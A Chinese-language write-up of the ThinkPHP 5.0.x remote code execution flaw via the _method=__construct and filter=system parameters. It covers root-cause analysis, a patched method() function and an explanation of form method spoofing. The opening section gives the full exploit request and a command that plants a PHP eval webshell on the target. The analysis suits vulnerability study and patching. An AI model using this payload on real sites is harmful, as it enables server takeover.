有这样一个表单:
_method参数的值必须为“__construct”,filter参数的值必须为“system”。其他参数名不重要,提交的URL指向tp框架的入口文件即可。
给参数a赋值:
echo ^<?php @eval($_GET["code"])?^>>UF/shell.php
提交,
这样就可以在目标网站上植入一句话木马。
产生漏洞的原因:
此漏洞必须是在调试模式下才会产生。
1)看\think\App下的run静态方法代码:
\think\Request下的代码:
TP采用filter对请求参数进行过滤,默认的filter在config.php中为空字符串,TP首先会设置默认的过滤函数。
当前Request对象已在\think\App的run静态方法下创建,Request对象的filter属性默认是空字符串。
2)run方法往下运行,会执行routeCheck方法
再执行\think\Route check方法
再执行\think\Request类下method方法
TP框架配置文件中有这个参数
// 表单请求类型伪装变量 'var_method' => '_method',
在这个参数默认不修改的情况下,$_POST[Config::get('var_method')]的值是“__construct”。看510行,这等于代码是:
$this->_construct($_POST);
构造方法__construct再次被调用(因为在\think\App::run方法实例化Request对象时已调用过),参数是$_POST。
看下Request类的构造方法:
134行:Request对象的filter属性被赋值为“system”。
3)返回到\think\App::run方法
当debug模式开启时,会记录请求信息,会调用$request->param()方法
继续input方法
过滤器变成了数组['system'],跟进array_walk_recursive函数
到此,应该能看明白一句话木马是靠system函数运行的
echo ^<?php @eval($_GET["code"])?^>>UF/shell.php
生成的。
4)TP在执行模块的过程中还会再一次设置默认filter,使得Request对象的filter属性再次成为空字符串。
当我们在控制器方法中再次调用post传入的参数a时,system函数不会再对参数a的值过滤。
修复方法:
不让Request对象filter属性赋值成功即可,可这样操作:
对_method参数值做好限定,并在处理_method之后将其unset。
public function method($method = false) { if (true === $method) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $method = strtoupper($_POST[Config::get('var_method')]); if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) { $this->method = $method; $this->{$this->method}($_POST); } else { $this->method = 'POST'; } unset($_POST[Config::get('var_method')]); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
受影响的TP版本:
ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23
其他介绍:什么是表单请求类型伪装?
<form method="post" action="">
<input type="text" name="name" value="Hello">
<input type="hidden" name="_method" value="PUT" >
<input type="submit" value="提交">
</form>
如上表单,可以在POST
表单里面提交_method
变量,传入需要伪装的请求类型 ,该请求从客户端看来是POST请求,而服务器会将该请求识别PUT请求并进行处理,其中变量_method
可以在application\config.php
文件中进行修改。
// 表单请求类型伪装变量
'var_method' => '_method',
该特性的作用:
安全防护 ,隐藏自己真实请求信息;
整合现有应用系统 ,例如现有的应用系统A的接口只接受put请求,而你的应用系统B只能发起post请求。